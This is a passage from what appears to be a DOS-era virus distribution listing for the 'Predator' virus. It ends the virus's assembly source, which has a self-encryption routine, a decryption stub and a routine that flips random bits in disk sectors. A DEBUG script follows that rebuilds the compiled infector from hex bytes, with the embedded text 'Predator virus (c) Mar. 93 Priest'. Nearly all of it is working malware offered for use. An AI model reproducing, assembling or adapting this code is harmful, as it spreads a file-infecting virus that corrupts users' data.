  5158.                 add cl,ch                       ;randomize cl
  5159.                 rcr word ptr es:[bx],cl         ;get a random bit
  5160.                 cmc                             ;reverse it
  5161.                 rcl word ptr es:[bx],cl         ;put it back
  5162.                 jmp short Ret_13                ;jump to return 
  5163.  
  5164. ;The Encrypt_Virus module copies the decryption routine and an encrypted
  5165. ;copy of the virus to a buffer
  5166.  
  5167. Encrypt_Virus:  xor ax,ax
  5168.                 mov ds,ax
  5169.                 mov ax,ds:[46ch]    ;get random value
  5170.                 push cs
  5171.                 pop ds
  5172.                 add byte ptr ds:[Decrypt_Value],al    ;use as encryption key 
  5173.                 mov al,ds:[Decrypt_Value]             ;get encryption key
  5174.                 add ah,al                             ;randomize ah
  5175.                 add byte ptr ds:[Decrypt_Random],ah   ;put random garbage 
  5176.                 mov si,offset Decrypt_Code          ;copy decryption routine
  5177.                 mov di,offset New_Virus
  5178.                 mov cx,offset Decrypt_End-offset Decrypt_Code
  5179.                 cld
  5180.                 rep movsb                           ;to buffer    
  5181.                 mov si,offset Virus_Start           ;copy virus
  5182.                 mov cx,((Virus_Size)/2)+1
  5183. Encrypt_Loop:   xchg ax,cx
  5184.                 push ax
  5185.                 lodsw
  5186.                 rol ax,cl                           ;and encrypt
  5187.                 not ax
  5188.                 stosw                               ;to buffer
  5189.                 pop ax
  5190.                 xchg ax,cx
  5191.                 loop Encrypt_Loop
  5192.                 dec di                              ;fix pointer for
  5193.                 dec di                              ;decryption routine
  5194.                 sub di,offset New_Virus     ;point decryption's SP to end of
  5195.                                             ;encrypted code for proper
  5196.                                             ;decryption
  5197.  
  5198.                 add word ptr ds:[New_Virus+(Decrypt_Start_Off+1-Decrypt_Code)],di
  5199.                 retn
  5200.  
  5201. ;Decryption routine
  5202.  
  5203. Decrypt_Code:   mov dx,((Virus_Size)/2)+1
  5204.                 db 0b1h                    ;mov cl,
  5205. Decrypt_Value   db ?                    
  5206.                 cli
  5207.                 mov bp,sp
  5208. Decrypt_Start_Off:mov sp,1234h
  5209. Decrypt_Loop:   pop ax
  5210.                 not ax
  5211.                 ror ax,cl
  5212.                 push ax
  5213.                 jmp short $+3
  5214. Decrypt_Random: db 12h
  5215.                 dec sp
  5216.                 dec sp
  5217.                 dec dx
  5218.                 jne Decrypt_Loop
  5219. Decrypt_End:
  5220.  
  5221.                 db ?
  5222. Virus_End:
  5223.  
  5224. Jump_Bytes      db 3 dup(0)
  5225.  
  5226. Int_13          dd ?                    
  5227. Int_21          dd ?
  5228. Int_24          dd ?
  5229.  
  5230. Ret_Add         dw ?                    
  5231.  
  5232. File_Pnt        dd ?
  5233.  
  5234. Infect_Status   db ?
  5235.  
  5236. File_Time       dw ?
  5237. File_Date       dw ?
  5238. File_Attr       db ?
  5239.  
  5240. Count_Down      dw ?
  5241. Sub_Value       db ?
  5242.  
  5243. New_Virus       db Virus_Size+(offset Decrypt_End-offset Decrypt_Code)+1 dup(0)
  5244.                 
  5245. Finish:
  5246.  
  5247. ;various structures
  5248.  
  5249. Directory       STRUC
  5250. DS_Drive        db ?
  5251. DS_File_Name    db 8 dup(0)
  5252. DS_File_Ext     db 3 dup(0)
  5253. DS_File_Attr    db ?
  5254. DS_Reserved     db 10 dup(0)
  5255. DS_Time         dw ?
  5256. DS_Date         dw ?
  5257. DS_Start_Clust  dw ?
  5258. DS_File_Size    dd ?
  5259. Directory       ENDS
  5260.  
  5261. FCB             STRUC
  5262. FCB_Drive       db ?
  5263. FCB_File_Name   db 8 dup(0)
  5264. FCB_File_Ext    db 3 dup(0)
  5265. FCB_Block       dw ?
  5266. FCB_Rec_Size    dw ?
  5267. FCB_File_Size   dd ?
  5268. FCB_File_Date   dw ?
  5269. FCB_File_Time   dw ?
  5270. FCB_Reserved    db 8 dup(0)
  5271. FCB_Record      db ?
  5272. FCB_Random      dd ?
  5273. FCB             ENDS
  5274.  
  5275. DTA             STRUC
  5276. DTA_Reserved    db 21 dup(0)
  5277. DTA_File_Attr   db ?
  5278. DTA_File_Time   dw ?
  5279. DTA_File_Date   dw ?
  5280. DTA_File_Size   dd ?
  5281. DTA_File_Name   db 13 dup(0)
  5282. DTA             ENDS
  5283.  
  5284.  
  5285.  
  5286.  
  5287.  
  5288. CSEG ENDS
  5289.      END Virus_Start
  5290. --Predator Debug Script--------------------------------------------------------
  5291. n predator.com
  5292. e 0100  8B E5 FB B4 30 BB 4D 49 CD 21 3D 4D 49 75 03 E9 
  5293. e 0110  AF 00 8C C8 48 8E D8 80 3E 00 00 5A 75 F1 B8 64 
  5294. e 0120  08 B1 04 D3 E8 40 50 48 D3 E8 D0 E9 D3 E8 40 1E 
  5295. e 0130  33 DB 8E DB 29 06 13 04 1F 58 29 06 03 00 8C C8 
  5296. e 0140  03 06 03 00 8E C0 0E 1F E8 00 00 5E 81 EE 4B 00 
  5297. e 0150  33 FF B9 64 08 FC F3 A4 06 B8 89 00 50 CB 50 72 
  5298. e 0160  65 64 61 74 6F 72 20 76 69 72 75 73 20 20 28 63 
  5299. e 0170  29 20 4D 61 72 2E 20 39 33 20 20 50 72 69 65 73 
  5300. e 0180  74 CD 20 00 2E 43 4F 4D 00 0E 1F B8 21 35 CD 21 
  5301. e 0190  89 1E 1D 04 8C 06 1F 04 B0 13 CD 21 89 1E 19 04 
  5302. e 01A0  8C 06 1B 04 B4 25 BA 6D 03 CD 21 B0 21 BA D8 00 
  5303. e 01B0  CD 21 33 C0 8E D8 A1 6C 04 0E 1F 86 C4 01 06 31 
  5304. e 01C0  04 16 07 BF 00 01 E8 00 00 5E 81 EE 48 00 16 57 
  5305. e 01D0  FC A5 A4 16 1F 33 C0 CB 80 FC 3D 74 4B 80 FC 6C 
  5306. e 01E0  74 3F 80 FC 4B 74 41 80 FC 11 74 2C 80 FC 12 74 
  5307. e 01F0  27 80 FC 0F 74 25 80 FC 4E 74 1A 80 FC 4F 74 15 
  5308. e 0200  80 FC 30 75 0B 81 FB 4D 49 75 05 8B C3 CA 02 00 
  5309. e 0210  2E FF 2E 1D 04 E9 9A 01 E9 C5 01 E9 FA 01 E9 DC 
  5310. e 0220  00 2E 89 36 27 04 EB 05 2E 89 16 27 04 2E 8C 1E 
  5311. e 0230  29 04 2E C6 06 2B 04 00 E8 26 01 E8 37 01 E8 08 
  5312. e 0240  02 72 DB 2E C5 16 27 04 B8 00 43 50 E8 5C 01 58 
  5313. e 0250  72 CC 2E 88 0E 30 04 F6 C1 01 74 0F 33 C9 FE C0 
  5314. e 0260  E8 48 01 72 B9 2E 80 0E 2B 04 01 B8 C2 3D E8 3A 
  5315. e 0270  01 72 AB 93 0E 1F 80 0E 2B 04 02 B8 00 57 E8 2A 
  5316. e 0280  01 80 FE C8 73 77 80 C6 C8 89 16 2E 04 89 0E 2C 
  5317. e 0290  04 B4 3F B9 03 00 BA 81 00 E8 0F 01 3B C1 75 5D 
  5318. e 02A0  81 3E 81 00 5A 4D 74 55 81 3E 81 00 4D 5A 74 4D 
  5319. e 02B0  B0 02 E8 8F 00 0B D2 75 44 3D E8 03 72 3F 3D 30 
  5320. e 02C0  F8 77 3A BF 16 04 50 05 00 01 A3 05 04 0E 07 B0 
  5321. e 02D0  E9 FC AA 58 2D 03 00 AB E8 E2 01 B4 40 BA 34 04 
  5322. e 02E0  B9 30 04 E8 C5 00 72 15 80 0E 2B 04 04 32 C0 E8 
  5323. e 02F0  52 00 B4 40 BA 16 04 B9 03 00 E8 AE 00 2E F6 06 
  5324. e 0300  2B 04 02 74 1C 2E F6 06 2B 04 04 74 0F B8 01 57 
  5325. e 0310  2E 8B 16 2E 04 8B 0E 2C 04 E8 8F 00 B4 3E E8 8A 
  5326. e 0320  00 2E F6 06 2B 04 01 74 12 B8 01 43 33 C9 2E 8A 
  5327. e 0330  0E 30 04 2E C5 16 27 04 E8 70 00 E8 58 00 E8 0C 
  5328. e 0340  00 E9 CC FE B4 42 33 C9 99 E8 5F 00 C3 2E 8F 06 
  5329. e 0350  25 04 07 1F 5E 5F 5D 5A 59 5B 58 9D 2E FF 26 25 
  5330. e 0360  04 2E 8F 06 25 04 9C 50 53 51 52 55 57 56 1E 06 
  5331. e 0370  2E FF 26 25 04 E8 E9 FF B8 24 35 E8 2D 00 2E 89 
  5332. e 0380  1E 21 04 2E 8C 06 23 04 B4 25 0E 1F BA A8 02 E8 
  5333. e 0390  19 00 E8 B8 FF C3 E8 C8 FF B8 24 25 2E C5 16 21 
  5334. e 03A0  04 E8 07 00 E8 A6 FF C3 B0 03 CF 9C 2E FF 1E 1D 
  5335. e 03B0  04 C3 E8 F6 FF E8 A9 FF 72 20 B4 2F E8 EC FF 26 
  5336. e 03C0  80 BF 19 00 C8 72 13 26 80 AF 19 00 C8 26 81 AF 
  5337. e 03D0  1A 00 30 04 26 83 9F 1C 00 00 E8 70 FF E9 2D FE 
  5338. e 03E0  E8 C8 FF E8 7B FF 0A C0 75 28 B4 2F E8 BC FF 80 
  5339. e 03F0  3F FF 75 03 83 C3 07 26 80 BF 1A 00 C8 72 13 26 
  5340. e 0400  80 AF 1A 00 C8 26 81 AF 1D 00 30 04 26 83 9F 1F 
  5341. e 0410  00 00 E8 38 FF E9 F5 FD E8 90 FF E8 43 FF 3C 00 
  5342. e 0420  75 21 8B DA 80 3F FF 75 03 83 C3 07 80 BF 15 00 
  5343. e 0430  C8 72 10 80 AF 15 00 C8 81 AF 10 00 30 04 83 9F 
  5344. e 0440  12 00 00 E8 07 FF E9 C4 FD 0E 1F C4 3E 27 04 32 
  5345. e 0450  C0 B9 7F 00 FC F2 AE 83 F9 7A 73 0F B9 05 00 2B 
  5346. e 0460  F9 BE 84 00 FC F3 A6 75 02 F8 C3 F9 C3 80 FC 02 
  5347. e 0470  74 0B 2E FF 2E 19 04 E8 D3 FE CA 02 00 2E A2 33 
  5348. e 0480  04 9C 2E FF 1E 19 04 E8 D7 FE 72 EB 2E A0 33 04 
  5349. e 0490  98 2E 29 06 31 04 77 DF BB 00 02 99 F7 E3 48 33 
  5350. e 04A0  C9 8E D9 8B 0E 6C 04 2E 89 0E 31 04 51 23 C8 03 
  5351. e 04B0  D9 59 02 CD 26 D3 1F F5 26 D3 17 EB BA 33 C0 8E 
  5352. e 04C0  D8 A1 6C 04 0E 1F 00 06 00 04 A0 00 04 02 E0 00 
  5353. e 04D0  26 0F 04 BE FC 03 BF 34 04 B9 19 00 FC F3 A4 BE 
  5354. e 04E0  00 00 B9 0C 02 91 50 AD D3 C0 F7 D0 AB 58 91 E2 
  5355. e 04F0  F4 4F 4F 81 EF 34 04 01 3E 3D 04 C3 BA 0C 02 B1 
  5356. e 0500  00 FA 8B EC BC 34 12 58 F7 D0 D3 C8 50 EB 01 12 
  5357. e 0510  4C 4C 4A 75 F2 00 00 00 00 00 00 00 00 00 00 00 
  5358. e 0520  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5359. e 0530  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5360. e 0540  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5361. e 0550  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5362. e 0560  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5363. e 0570  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5364. e 0580  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5365. e 0590  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5366. e 05A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5367. e 05B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5368. e 05C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5369. e 05D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5370. e 05E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5371. e 05F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5372. e 0600  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5373. e 0610  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5374. e 0620  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5375. e 0630  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5376. e 0640  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5377. e 0650  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5378. e 0660  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5379. e 0670  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5380. e 0680  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5381. e 0690  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5382. e 06A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5383. e 06B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5384. e 06C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5385. e 06D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5386. e 06E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5387. e 06F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5388. e 0700  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5389. e 0710  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5390. e 0720  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5391. e 0730  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5392. e 0740  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5393. e 0750  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5394. e 0760  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5395. e 0770  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5396. e 0780  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5397. e 0790  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5398. e 07A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5399. e 07B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5400. e 07C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5401. e 07D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5402. e 07E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5403. e 07F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5404. e 0800  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5405. e 0810  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5406. e 0820  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5407. e 0830  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5408. e 0840  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5409. e 0850  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5410. e 0860  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5411. e 0870  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5412. e 0880  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5413. e 0890  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5414. e 08A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5415. e 08B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5416. e 08C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5417. e 08D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5418. e 08E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5419. e 08F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5420. e 0900  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5421. e 0910  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5422. e 0920  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5423. e 0930  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5424. e 0940  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5425. e 0950  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  5426. e 0960  00 00 00 00 
  5427.  
  5428. rcx
  5429. 0864
  5430. w
  5431. q
  5432. -------------------------------------------------------------------------------
  5433.  
  5434.